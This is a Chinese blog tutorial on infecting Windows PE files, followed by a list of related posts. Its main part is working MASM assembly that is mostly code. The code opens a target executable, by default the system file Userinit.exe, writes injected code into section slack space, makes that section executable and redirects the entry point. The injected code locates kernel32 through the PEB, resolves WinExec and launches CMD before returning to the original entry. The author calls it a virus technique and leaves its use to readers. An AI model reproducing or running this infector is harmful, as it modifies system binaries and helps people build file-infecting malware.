感染PE文件的一个简单实例

PE文件病毒感染示例 ;本程序修改自hume的代码,其版权信息如下:CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah                       db "        Thx for using it!",0dh,0ah                       db "Contact: Hume 阅读详情
感染PE文件是典型的病毒技术,利用它可以做很多事。至于怎么用就是各位读者自己的事。呵呵。这里给出一个简单的代码实例,它将代码保存在节的间隙中,然后修改入口点。很简单,写给初学者。个人觉得具体的例子要比抽象的解说更印象深刻,记得当初我刚学的时候,看那些高手们写的文章,实在是郁闷,概念是懂了但用不到实践中去。希望这篇文章能对各位读者有所帮助。
 你需要有一些关于PE文件格式的基本知识,如果你还不了解,可以到网上去搜,多如牛毛。特别是要理解虚拟地址,相对虚拟地址的概念。还要懂一些汇编,能看懂就行。这里用的开发工具是Masm32v9(罗云彬的《Win32汇编语言程序设计》一书对Win32汇编讲得比较好,推荐阅读,网上应该可以下载到)。
 OK,那么现在开始。
 先定义一些用到的变量。
.const
  szExeFile  db  'C:/Windows/System32/Userinit.exe',0;这里填你想要感染的文件的路径
 
.data?
  hFile  dd  ? ;打开的文件句柄
  hMapFile  dd  ? ;创建的内存映射的句柄
  lpFile  dd  ? ;内存映射文件的基地址
  lpCodeRVA dd  ?  ;添加的代码的RVA
  lpCodeOffs dd  ? ;添加的代码的文件偏移

 .code
include AddCode.asm

AddCode.asm就是你要写入文件中的代码,为了使他能够正确执行,有一个重定位的问题,这个到后面再讲。

Start:
 invoke CreateFile,offset szUserinit,GENERIC_READ or GENERIC_WRITE,/
     NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
 .if eax != INVALID_HANDLE_VALUE
  mov hFile,eax
  invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
  .if eax
   mov hMapFile,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE orFILE_MAP_READ,0,0,0 ;将文件映射到内存

 以上打开要感染的文件并将它映射到内存中去,没什么好讲的。如果不会用,可以查微软的MSDN中的API参考。
 下面开始分析PE格式,寻找节中可插入代码的空间。

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
     BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
     union {
             DWORD   PhysicalAddress;
             DWORD   VirtualSize;
     } Misc;
     DWORD   VirtualAddress;
     DWORD   SizeOfRawData;
     DWORD   PointerToRawData;
      DWORD   PointerToRelocations;
     DWORD   PointerToLinenumbers;
     WORD    NumberOfRelocations;
     WORD    NumberOfLinenumbers;
     DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

这是从SDK中复制的IMAGE_SECTION_HEADER的定义,这里解释一下几个重要的成员的含义。VirtualSize是这个节的真实长度,SizeOfRawData是这个节在经过长度对齐这后的长度(为了装载的方便,编译器在链接生成PE文件的时候,会按照一定长度的倍数对代码进行对齐,不用的空闲空间用0填充。我们的代码就保存在这些间隙中)。PointerToRawData是节在文件中的偏移。VirtualAddress是节的RVA,它加上装载的基地址就是它被加载到内存后的地址。
 来看代码:
   .if eax
    mov lpFile,eax
    mov esi,eax
    add esi,(IMAGE_DOS_HEADER ptr [esi]).e_lfanew
    assume esi:ptr IMAGE_NT_HEADERS
    mov ebx,esi
    add ebx,sizeof IMAGE_NT_HEADERS
    assume ebx:ptr IMAGE_SECTION_HEADER
    xor eax,eax
    .while ax < [esi].FileHeader.NumberOfSections ;循环所有节
     mov ecx,[ebx].SizeOfRawData
     .if ecx
      sub ecx,[ebx].Misc.VirtualSize
      .if ecx >= ADD_CODE_LENGTH ;如果有足够的多余空间则添加代码
       jmp @F
      .endif
     .endif
     add ebx,sizeof IMAGE_SECTION_HEADER
     inc ax
    .endw

 它检查节中的空闲空间是否足够保存要插入的代码,够就插入代码。
    @@: mov eax,[ebx].VirtualAddress
    add eax,[ebx].Misc.VirtualSize
    mov lpCodeRVA,eax  ;添加的代码的RVA
    mov eax,[ebx].PointerToRawData
    add eax,[ebx].Misc.VirtualSize
    mov lpCodeOffs,eax   ;添加的代码的文件偏移
    or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_EXECUTE ;给节加上可读和可执行属性
    add [ebx].Misc.VirtualSize,ADD_CODE_LENGTH ;修正节的实际大小
    add eax,lpFile
    invoke RtlMoveMemory,eax,offset ADD_CODE_START,ADD_CODE_LENGTH ;将代码复制到userinit.exe中
    mov edi,[esi].OptionalHeader.AddressOfEntryPoint
    add edi,[esi].OptionalHeader.ImageBase ;保存原入口点地址
    push lpCodeRVA
    pop [esi].OptionalHeader.AddressOfEntryPoint ;设置新的入口点
    mov eax,lpCodeOffs
    add eax,lpFile  ;定位到内存映射中的代码插入位置
    add eax,offset OldEntryAddr - offset ADD_CODE_START ;定位到OldEntryAddr标号处
    mov [eax],edi ;将原入口点写到AddCode.asm最后的dd ?中


 

 


 对照上面的图应该很容易就能够看懂代码,而且注释写得很详细,就不再解释了。要注意的是不要忘了修改节的属性,有些节是不具有可执行属性的,如果你尝试执行它会导致程序崩溃。最后记住做一些首尾工作,关闭打开的各个文件。为了突出问题,我就省略了。
 好了,再来看看插入的代码,例子中它保存在一个单独的文件AddCode.asm中。

ADD_CODE_START equ this byte

 assume fs:flat
 mov eax,fs:[30h]
 mov eax,[eax + 0ch]
 mov esi,[eax + 1ch]
 lodsd
 mov edx,[eax + 8h]   ;得到Kernel32基址
 
 mov eax,(IMAGE_DOS_HEADER ptr [edx]).e_lfanew ;得到IMAGE_NT_HEADERS地址
 mov eax,(IMAGE_NT_HEADERS ptr [edx + eax]).OptionalHeader.DataDirectory.VirtualAddress ;得到导出表RVA
 add eax,edx     ;导出表在内存的实际地址
 assume eax:ptr IMAGE_EXPORT_DIRECTORY
 mov esi,[eax].AddressOfNames
 add esi,edx
 push 00007373h ;在堆栈中构造GetProcAddress
 push 65726464h
 push 41636F72h
 push 50746547h
 push esp
 xor ecx,ecx
 .repeat
  mov edi,[esi]
  add edi,edx
  push esi
  mov esi,[esp + 4]
  push ecx
  mov ecx,0fh ;GetProcAddress的长度,包括0
  repz cmpsb
  .break .if ZERO? ;找到跳出循环
  pop ecx
  pop esi
  add esi,4
  inc ecx
 .until ecx >= [eax].NumberOfNames
 pop ecx
 mov esi,[eax].AddressOfNameOrdinals
 add esi,edx
 movzx ecx,word ptr [esi + ecx*2] ;取出序数
 mov esi,[eax].AddressOfFunctions
 assume eax:nothing
 add esi,edx
 mov esi,[esi + ecx*4]
 add esi,edx ;得到GetProcAddress地址
 push 00636578h ;在栈中构造WinExec
 push 456E6957h
 push esp
 push edx
 call esi ;调用GetProcAddress获取WinExec地址
 push 00444D43h ;;在栈中构造CMD
 push esp
 push SW_SHOW
 push [esp + 4]
 call eax ;调用WinExec
 
 db 68h  ;push xxxxxxxx指令机器码的第1个字节
OldEntryAddr:
 dd ? ;这4个字节用于保存原入口点,和上面的1个字节组成一条完整的push 原入口点指令
 jmp dword ptr [esp] ;跳到原入口点

ADD_CODE_END equ this byte
ADD_CODE_LENGTH equ offset ADD_CODE_END - offset ADD_CODE_START ;代码大小

 首先必须获得kernel32.dll的地址,然后分析PE文件,从导入表中得到LoadLibrary()和GetProcAddress()的地址,之后就可以任意使用其他DLL导入的函数了。
 解释一下获取kernel32.dll基地址的原理。每个进程都有一个称为PEB(进程环境块)的数据结构,我们就通过它来获取。这种方法比较通用,适合NT/2K/XP/2003(不适合Vista,它的动态库映射地址是不确定的),fs保存的段描述符指向线程环境块TEB,在它的偏移30h处是一个指向PEB的指针,通过它的一个成员就可以取得kernel32.dll的基地址。这是一个固定的模式,可以直接当作结论拿来用。如果想搞得更清楚一点,可以查看DDK中PPEB结构的定义。
 

一个简单的PE感染病毒 /------- 通过开辟一个新的节表放置shellcode 修改PE入口点到shellcode,并在shellcode中设置返回原PE入口点 PE文件格式参考资料: http://bbs.pediy.com/showthread.php?t=21932 ----------/ /*** 本程序只适用于载入基址定位的,非随机基址 感染指定目录的PE文件 添 阅读详情

相关推荐

脚本病毒---实验十三:PE病毒之感染机制与手动清除

目录 一、实验目的及要求 二、实验原理 三、实验环境 四、实验步骤及内容 实验步骤一:加载病毒,执行感染。 实验步骤二:通过对比分析感染过程。 实验步骤三:根据感染原理,逆向清除病毒,恢复程序运行。 五、实验总结 六、分析与思考 一、实验目的及要求 本实验介绍文件感染型病毒。通过执行病毒程序,使目标程序被感染。通过PE工具来对比查看文件感染前后的不同来确定文件的感染方式,最后利用感染原理来逆向清除感染型病毒。 二、实验原理 1、病毒的测试环境搭建:常见病毒的分析都是通过静态..

weixin_70557959的博客 3280

PE文件感染程序设计(PE病毒)

记录PE病毒设计的入门实验

Zyecho的博客 4981

PE感染逆向之修复

作 者: achillis这篇文章是在Servex.exe专杀工具写完之后的一些小小感想,关于PE感染和修复,  自某日不小心中了Serverx.exe病毒,电脑中大部分EXE文件被感染,系统盘system32目录下的病毒文件Serverx.exe总也杀不掉,因为即使删掉了,每次运行了被感染的程序之后还会再次生成。(关于此毒的详细资料,有兴趣的直接在百度搜索"Serverx.exe"或"愤怒天使"

1729

自己写的一个HOOKAPI的汇编例子

;************************************************ ;程序作者:晓斌 ;QQ:6750333        xbin1981 ;************************************************ .586 .model flat, stdcall option casemap :none include w

xbin1981的博客 903

win32virus汇编PE文件感染代码阅读

win32virus汇编PE文件感染 步骤如下: 在图1中,我们发现汇编代码有三处都是两点,改为一点后保存。 用Masm32Edit的Project中的assemble and link功能生成.exe文件,图2为编译过程,图3表示.exe已经生成。 图4,用OllyDebug运行.exe文件,发现运行意外终止。 用图5所示的x32Degub调试工具运行到终止处,点击“内存布局”发现内存发现权限为ER,不可以进行写入(W),如图6。 图7为.text原来的内存权限,图8为修改后的权限,变为ERW

m0_52534684的博客 1698

[系统安全] 十七.Windows PE病毒概念、分类及感染方式详解

作者前文介绍了PE文件格式,熟悉各种PE编辑查看工具,针对目标EXE程序新增对话框等;这篇文章将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。这些基础性知识不仅和系统安全相关,同样与我们身边的APP、常用软件及操作系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,安全保障任重道远。本文参考了《软件安全》视频、安全网站和参考文献中的文章,并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

杨秀璋的专栏 1万+

x86汇编_Irvine32链接库过程详细说明_笔记_25

CloseFile CloseFile 过程关闭之前已经创建或打开的文件(参见 CreateOutputFile 和 OpenlnputFile)。该文件用一个 32 位整数的句柄来标识,句柄由 EAX 传递。如果文件成功关闭,EAX 中的返回值就是非零的。示例如下: mov eax,fileHandle call CloseFile Clrscr Clrscr 过程清除控制台窗口。该过程通常在程序开始和结束时被调用。如果在其他时间调用这个过程,就需要先调用 WaitMsg 来暂停程序,这.

Silent_Hunter的博客 2202

[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了XSS跨站脚本攻击案例,主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。这篇文章将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。基础性文章,希望对您有所帮助~

杨秀璋的专栏 1万+

浅析PE文件感染

作 者: zyhfut 时 间: 2010-12-27,21:21:28 链 接: http://bbs.pediy.com/showthread.php?t=127202 PE文件感染,早已不是什么新鲜的话题。论坛中也有很多反复摧残PE文件的文章。这段时间在看病毒方面的知识,所以重新温习了下PE文件的结构,介绍PE结构的帖子很多,我就不详细介绍了,再介绍也不一定由牛人们介绍的详细。

Puzzle的专栏 1742

Virus-Learning:感染PE文件的病毒学习过程

Virus-Learning 感染PE文件的病毒学习过程 学习技术: 重定位 API函数地址的获取: 1)暴力搜内存中kernel32.dll基址 2)通过PEB获取kernel32.dll基址 感染PE文件 磁盘递归搜索技术 主要功能: 感染桌面上所有的exe后缀文件,使之弹出MessageBox,并继续运行原有程序 注意事项: 需要修改Desktop和sPath的路径为自己的桌面路径 如果感染开启了ASLR的文件只会执行感染代码而无法执行原程序,原因是OEP写入问题 使用MASM编写,编译使用MASMPLUS 使用暴力搜索内存寻找kernel32.dll基址的程序在WIN10上无法运行,因为WIN10有保护机制,会进入SEH

感染PE文件示例源码(C++与汇编)

感染PE文件示例源码(C++与汇编编写)并提供使用示例

PE文件病毒实验(二)——实验报告

实验目的:掌握PE文件格式;理解病毒感染PE文件的原理。 实验内容: (1) 了解PE文件格式。 (2) 根据实验步骤,编程实现在PE文件中插入病毒代码。运行插入病毒代码后的PE文件。 (3) 编程实现在磁盘中搜索.exe文件的操作,对于所有的.exe文件插入病毒代码并运行插入病毒代码后的exe文件。 (4) 编程实现在磁盘中搜索(3)中的.exe文件的操作,对于所有的.exe文件删除病毒代码并运...

jmhIcoding 1万+

动态感染 完整代码

内核态下基于动态感染技术的应用程序执行保护(完整代码)

PE感染

这篇文章转载自:Extreme's的空间 http://hi.baidu.com/wjsbljeluujrtwe/item/b1068854a4295ba9adc85750 http://hi.baidu.com/wjsbljeluujrtwe/item/dd5ae31387500f0fd1d66d52 http://hi.baidu.com/wjsbljeluujrtwe/item/66e

梦落红尘 1652

Error relaunching VirtualBox VM process:5错误解决

前几天在重新使用VirtualBox的时候出现了一个挺恶心的错误,如图 百度了好久没有找到合适的解决方法。功夫不负有心人,在查阅了vb相关论坛时发现了大牛对此问题的诸多解决方案。下面我把此论坛的内容总结一下,希望对大家有帮助。 论坛链接:Diagnosing VirtualBox Hardening Issues 时间不足的小伙伴可以直接看 解决方法 造成这个错误的主要原因是,windows操作系统与oracle vb的不兼容。有两个方面,一是非官方windows系统中包含了一些没有签名的d

JaCenz的博客 3万+

手把手教你接入京东购物小程序:从领券到下单的全流程解析

本文详细解析了如何从API申请到领券下单,手把手教你接入京东购物小程序的全流程。涵盖京东联盟账号注册、商品信息获取、优惠券链接转换等关键技术实践,帮助开发者高效实现电商功能集成,提升用户购物体验。

g5h6i的博客 911
上一篇: Kaspersky 7.0添加系统服务分析
下一篇: Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit(Heap Corruption)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值